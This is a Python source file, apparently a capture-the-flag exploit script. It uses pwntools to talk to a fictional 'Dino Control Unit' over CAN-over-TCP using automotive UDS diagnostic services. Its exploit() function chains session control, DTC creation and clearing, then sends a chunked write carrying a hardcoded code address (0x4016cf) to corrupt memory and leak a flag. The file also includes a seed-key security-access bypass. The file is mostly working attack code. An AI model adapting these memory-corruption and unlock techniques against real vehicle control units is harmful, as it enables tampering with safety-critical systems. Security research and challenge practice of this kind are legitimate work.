343 lines
13 KiB
Python
343 lines
13 KiB
Python
"""
|
||
DCU Client - Dino Control Unit interface using pwntools
|
||
Implements CAN-over-TCP framing for UDS (Unified Dino Services)
|
||
|
||
Usage:
|
||
python dcu_client.py [host] [port]
|
||
Or import and use DCUClient directly.
|
||
"""
|
||
|
||
import struct
|
||
import sys
|
||
from pwn import *
|
||
|
||
# ─────────────────────────────────────────────
|
||
# CAN Frame Layout (struct can_frame, 16 bytes)
|
||
# uint32_t can_id
|
||
# uint8_t can_dlc
|
||
# uint8_t __pad
|
||
# uint8_t __res0
|
||
# uint8_t __res1
|
||
# uint8_t data[8]
|
||
# ─────────────────────────────────────────────
|
||
CAN_FRAME_FMT = "<IBBBB8s"
|
||
CAN_FRAME_SIZE = struct.calcsize(CAN_FRAME_FMT) # 16 bytes
|
||
|
||
# CAN IDs
|
||
UDS_REQUEST_ID = 0x7DF # broadcast
|
||
UDS_PHYSICAL_ID = 0x7E0 # physical
|
||
UDS_RESPONSE_ID = 0x7E8 # ECU response
|
||
|
||
# UDS Service IDs
|
||
SID = {
|
||
"DIAG_SESSION_CTRL" : 0x10,
|
||
"SECURITY_ACCESS" : 0x27,
|
||
"READ_DID" : 0x22,
|
||
"WRITE_DID" : 0x2E,
|
||
"CLEAR_DTC" : 0x14,
|
||
"READ_DTC" : 0x19,
|
||
"REQUEST_DOWNLOAD" : 0x34,
|
||
"TRANSFER_DATA" : 0x36,
|
||
"ROUTINE_CTRL" : 0x31,
|
||
}
|
||
|
||
# Sessions
|
||
SESSION_DEFAULT = 0x01
|
||
SESSION_EXTENDED = 0x03
|
||
SESSION_SECURITY = 0x04
|
||
|
||
# NRCs
|
||
NRC = {
|
||
0x10: "GENERAL_REJECT",
|
||
0x11: "SERVICE_NOT_SUPPORTED",
|
||
0x12: "SUBFUNCTION_NOT_SUPPORTED",
|
||
0x13: "INCORRECT_MSG_LEN",
|
||
0x22: "CONDITIONS_NOT_CORRECT",
|
||
0x33: "SECURITY_ACCESS_DENIED",
|
||
0x35: "INVALID_KEY",
|
||
}
|
||
|
||
|
||
# ─────────────────────────────────────────────────────────────────
|
||
# CAN frame helpers
|
||
# ─────────────────────────────────────────────────────────────────
|
||
|
||
def pack_can_frame(can_id: int, payload: bytes) -> bytes:
|
||
"""Pack a UDS payload into a 16-byte CAN frame (ISO-TP single frame)."""
|
||
assert 1 <= len(payload) <= 7, "Payload must be 1–7 bytes for a single CAN frame"
|
||
pci = len(payload) & 0x0F # PCI byte: SF type (0) + length
|
||
data = bytes([pci]) + payload # prepend PCI
|
||
data = data.ljust(8, b'\x00') # pad to 8 bytes
|
||
frame = struct.pack(CAN_FRAME_FMT,
|
||
can_id, # can_id
|
||
len(payload), # can_dlc (actual UDS payload len)
|
||
0, 0, 0, # pad / res0 / res1
|
||
data)
|
||
return frame
|
||
|
||
|
||
def unpack_can_frame(raw: bytes) -> dict:
|
||
"""Unpack a 16-byte CAN frame into a dict."""
|
||
assert len(raw) == CAN_FRAME_SIZE
|
||
can_id, dlc, pad, res0, res1, data = struct.unpack(CAN_FRAME_FMT, raw)
|
||
pci = data[0]
|
||
sf_len = pci & 0x0F
|
||
return {
|
||
"can_id" : can_id & 0x7FF,
|
||
"dlc" : dlc,
|
||
"pci" : pci,
|
||
"sf_len" : sf_len,
|
||
"data" : data, # full 8 bytes
|
||
"payload" : data[1 : 1 + sf_len] if sf_len else data[1:], # UDS bytes
|
||
}
|
||
|
||
|
||
# ─────────────────────────────────────────────────────────────────
|
||
# DCU Client
|
||
# ─────────────────────────────────────────────────────────────────
|
||
|
||
class DCUClient:
|
||
def __init__(self, host: str = "localhost", port: int = 18088, verbose: bool = True, ssl: bool = False):
|
||
self.host = host
|
||
self.port = port
|
||
self.verbose = verbose
|
||
self.ssl = ssl
|
||
self.io: tube = None
|
||
|
||
# ── Connection ──────────────────────────────────────────────
|
||
|
||
def connect(self):
|
||
self.io = remote(self.host, self.port, ssl=self.ssl)
|
||
log.success(f"Connected to DCU at {self.host}:{self.port}")
|
||
return self
|
||
|
||
def close(self):
|
||
if self.io:
|
||
self.io.close()
|
||
|
||
def __enter__(self):
|
||
return self.connect()
|
||
|
||
def __exit__(self, *_):
|
||
self.close()
|
||
|
||
# ── Low-level I/O ───────────────────────────────────────────
|
||
|
||
def send_frame(self, payload: bytes, can_id: int = UDS_REQUEST_ID):
|
||
"""Send a raw UDS payload as a CAN frame."""
|
||
frame = pack_can_frame(can_id, payload)
|
||
if self.verbose:
|
||
log.debug(f"TX can_id=0x{can_id:03X} payload={payload.hex()}")
|
||
self.io.send(frame)
|
||
|
||
def recv_frame(self, timeout: float = 3.0) -> dict | None:
|
||
"""Receive one 16-byte CAN frame and unpack it."""
|
||
try:
|
||
raw = self.io.recv(CAN_FRAME_SIZE, timeout=timeout)
|
||
if len(raw) < CAN_FRAME_SIZE:
|
||
raw += self.io.recv(CAN_FRAME_SIZE - len(raw), timeout=timeout)
|
||
f = unpack_can_frame(raw)
|
||
if self.verbose:
|
||
log.debug(f"RX can_id=0x{f['can_id']:03X} payload={f['payload'].hex()}")
|
||
return f
|
||
except EOFError:
|
||
log.warning("Connection closed by server")
|
||
return None
|
||
except Exception as e:
|
||
log.warning(f"recv_frame: {e}")
|
||
return None
|
||
|
||
def recv_frames(self, count: int = 1, timeout: float = 3.0) -> list[dict]:
|
||
"""Receive up to `count` frames."""
|
||
frames = []
|
||
for _ in range(count):
|
||
f = self.recv_frame(timeout=timeout)
|
||
if f is None:
|
||
break
|
||
frames.append(f)
|
||
return frames
|
||
|
||
def transact(self, payload: bytes, can_id: int = UDS_REQUEST_ID,
|
||
timeout: float = 3.0) -> dict | None:
|
||
"""Send a UDS payload and return the first response frame."""
|
||
self.send_frame(payload, can_id)
|
||
return self.recv_frame(timeout=timeout)
|
||
|
||
# ── UDS helpers ─────────────────────────────────────────────
|
||
|
||
@staticmethod
|
||
def is_positive(frame: dict) -> bool:
|
||
return frame["payload"][0] != 0x7F if frame else False
|
||
|
||
@staticmethod
|
||
def is_negative(frame: dict) -> bool:
|
||
return frame["payload"][0] == 0x7F if frame else True
|
||
|
||
@staticmethod
|
||
def nrc_name(nrc_byte: int) -> str:
|
||
return NRC.get(nrc_byte, f"0x{nrc_byte:02X}")
|
||
|
||
def check_response(self, frame: dict | None, label: str = "") -> bool:
|
||
if frame is None:
|
||
log.failure(f"{label}: no response")
|
||
return False
|
||
p = frame["payload"]
|
||
if p[0] == 0x7F:
|
||
nrc = p[2] if len(p) > 2 else 0
|
||
log.failure(f"{label}: NEGATIVE RESPONSE SID=0x{p[1]:02X} NRC={self.nrc_name(nrc)}")
|
||
return False
|
||
log.success(f"{label}: OK resp={p.hex()}")
|
||
return True
|
||
|
||
# ── Named service wrappers ───────────────────────────────────
|
||
|
||
def diag_session_ctrl(self, session_type: int = SESSION_EXTENDED) -> dict | None:
|
||
"""0x10 – DiagnosticSessionControl"""
|
||
return self.transact(bytes([SID["DIAG_SESSION_CTRL"], session_type]))
|
||
|
||
def security_request_seed(self) -> dict | None:
|
||
"""0x27 sub 0x01 – request seed"""
|
||
return self.transact(bytes([SID["SECURITY_ACCESS"], 0x01]))
|
||
|
||
def security_send_key(self, key: int) -> dict | None:
|
||
"""0x27 sub 0x02 – send key (4-byte LE int)"""
|
||
payload = bytes([SID["SECURITY_ACCESS"], 0x02]) + struct.pack("<I", key)
|
||
return self.transact(payload)
|
||
|
||
def security_unlock(self) -> bool:
|
||
"""Full seed-key handshake. Returns True on success."""
|
||
r = self.security_request_seed()
|
||
if not r or self.is_negative(r):
|
||
log.failure("Failed to get seed")
|
||
return False
|
||
seed = struct.unpack("<I", r["payload"][2:6])[0]
|
||
log.info(f"Got seed: 0x{seed:08X}")
|
||
key = seed ^ 0xCAFEBABE
|
||
log.info(f"Sending key: 0x{key:08X}")
|
||
r2 = self.security_send_key(key)
|
||
return self.check_response(r2, "security_unlock")
|
||
|
||
def read_did(self, did_id: int) -> dict | None:
|
||
"""0x22 – ReadDataByIdentifier"""
|
||
payload = bytes([SID["READ_DID"], (did_id >> 8) & 0xFF, did_id & 0xFF])
|
||
return self.transact(payload)
|
||
|
||
def write_did(self, did_id: int, data: bytes) -> dict | None:
|
||
"""0x2E – WriteDataByIdentifier"""
|
||
payload = bytes([SID["WRITE_DID"], (did_id >> 8) & 0xFF, did_id & 0xFF]) + data
|
||
return self.transact(payload)
|
||
|
||
def clear_dtc(self, group: int = 0xFFFFFF) -> dict | None:
|
||
"""0x14 – ClearDiagnosticInformation (group=0xFFFFFF clears all)"""
|
||
payload = bytes([SID["CLEAR_DTC"],
|
||
(group >> 16) & 0xFF,
|
||
(group >> 8) & 0xFF,
|
||
group & 0xFF])
|
||
return self.transact(payload)
|
||
|
||
def read_dtc_count(self) -> dict | None:
|
||
"""0x19 sub 0x01 – report number of DTCs"""
|
||
return self.transact(bytes([SID["READ_DTC"], 0x01]))
|
||
|
||
def read_dtc_by_status(self, mask: int = 0xFF) -> list[dict]:
|
||
"""0x19 sub 0x02 – report DTCs by status mask; drains multiple frames."""
|
||
self.send_frame(bytes([SID["READ_DTC"], 0x02, mask]))
|
||
return self.recv_frames(count=16, timeout=1.0)
|
||
|
||
def read_dtc_extended(self, dtc_code: int) -> dict | None:
|
||
"""0x19 sub 0x06 – report extended data for a specific DTC"""
|
||
payload = bytes([SID["READ_DTC"], 0x06,
|
||
(dtc_code >> 16) & 0xFF,
|
||
(dtc_code >> 8) & 0xFF,
|
||
dtc_code & 0xFF])
|
||
return self.transact(payload)
|
||
|
||
def request_download(self, severity: int, dtc_code: int, status: int) -> dict | None:
|
||
"""0x34 – RequestDownload (register a new DTC entry)"""
|
||
payload = bytes([SID["REQUEST_DOWNLOAD"],
|
||
0x00, # reserved
|
||
severity & 0xFF,
|
||
(dtc_code >> 16) & 0xFF,
|
||
(dtc_code >> 8) & 0xFF,
|
||
dtc_code & 0xFF,
|
||
status & 0xFF])
|
||
return self.transact(payload)
|
||
|
||
def transfer_data(self, dtc_idx: int, data: bytes) -> dict | None:
|
||
"""0x36 – TransferData (append to DTC description at index)"""
|
||
payload = bytes([SID["TRANSFER_DATA"], dtc_idx & 0xFF]) + data
|
||
return self.transact(payload)
|
||
|
||
def routine_ctrl_start(self, did_id: int, total_len: int) -> dict | None:
|
||
"""0x31 sub 0x01 routine 0xFF01 – start extended write"""
|
||
payload = bytes([SID["ROUTINE_CTRL"], 0x01, 0xFF, 0x01,
|
||
(did_id >> 8) & 0xFF, did_id & 0xFF,
|
||
total_len & 0xFF])
|
||
return self.transact(payload)
|
||
|
||
def routine_ctrl_chunk(self, data: bytes) -> dict | None:
|
||
"""0x31 sub 0x03 routine 0xFF01 - send a data chunk.
|
||
|
||
CAN frames hold 7 UDS bytes max (8 data bytes - 1 PCI byte).
|
||
The header [0x31, 0x03, 0xFF, 0x01] costs 4 bytes, leaving 3 bytes
|
||
of actual chunk data per frame. Large buffers are split automatically.
|
||
"""
|
||
CHUNK = 3 # bytes of payload data per frame
|
||
last_response = None
|
||
offset = 0
|
||
while offset < len(data):
|
||
piece = data[offset:offset + CHUNK]
|
||
payload = bytes([SID["ROUTINE_CTRL"], 0x03, 0xFF, 0x01]) + piece
|
||
last_response = self.transact(payload)
|
||
offset += CHUNK
|
||
return last_response
|
||
|
||
# ── Raw send ─────────────────────────────────────────────────
|
||
|
||
def raw(self, payload: bytes, can_id: int = UDS_REQUEST_ID) -> dict | None:
|
||
"""Send arbitrary UDS bytes and receive one frame. For freeform testing."""
|
||
return self.transact(payload, can_id)
|
||
|
||
|
||
# ─────────────────────────────────────────────────────────────────
|
||
# Interactive demo / sanity check
|
||
# ─────────────────────────────────────────────────────────────────
|
||
|
||
def exploit(host, port, ssl):
|
||
context.log_level = "info"
|
||
|
||
with DCUClient(host, port, verbose=False, ssl=ssl) as dcu:
|
||
|
||
log.info("Open extended session")
|
||
r = dcu.diag_session_ctrl(SESSION_EXTENDED)
|
||
dcu.check_response(r, "session_ctrl")
|
||
|
||
log.info("Creating DTC")
|
||
r = dcu.request_download(1, 1, 1)
|
||
dcu.check_response(r, "session_ctrl")
|
||
|
||
log.info("Clear dtc")
|
||
dcu.clear_dtc()
|
||
|
||
dcu.routine_ctrl_start(1, 64)
|
||
dcu.routine_ctrl_chunk(b"A"*4 + p64(0x4016cf) + b"A" * 52)
|
||
log.info("Added did entry")
|
||
|
||
r = dcu.read_dtc_by_status()
|
||
flag = b""
|
||
for i in r:
|
||
if i["pci"] == 255:
|
||
flag += i["payload"]
|
||
|
||
print(flag.decode())
|
||
|
||
|
||
|
||
|
||
|
||
if __name__ == "__main__":
|
||
host = sys.argv[1] if len(sys.argv) > 1 else "localhost"
|
||
port = int(sys.argv[2]) if len(sys.argv) > 2 else 18088
|
||
ssl = bool(sys.argv[3]) if len(sys.argv) > 3 else False
|
||
exploit(host, port, ssl=ssl)
|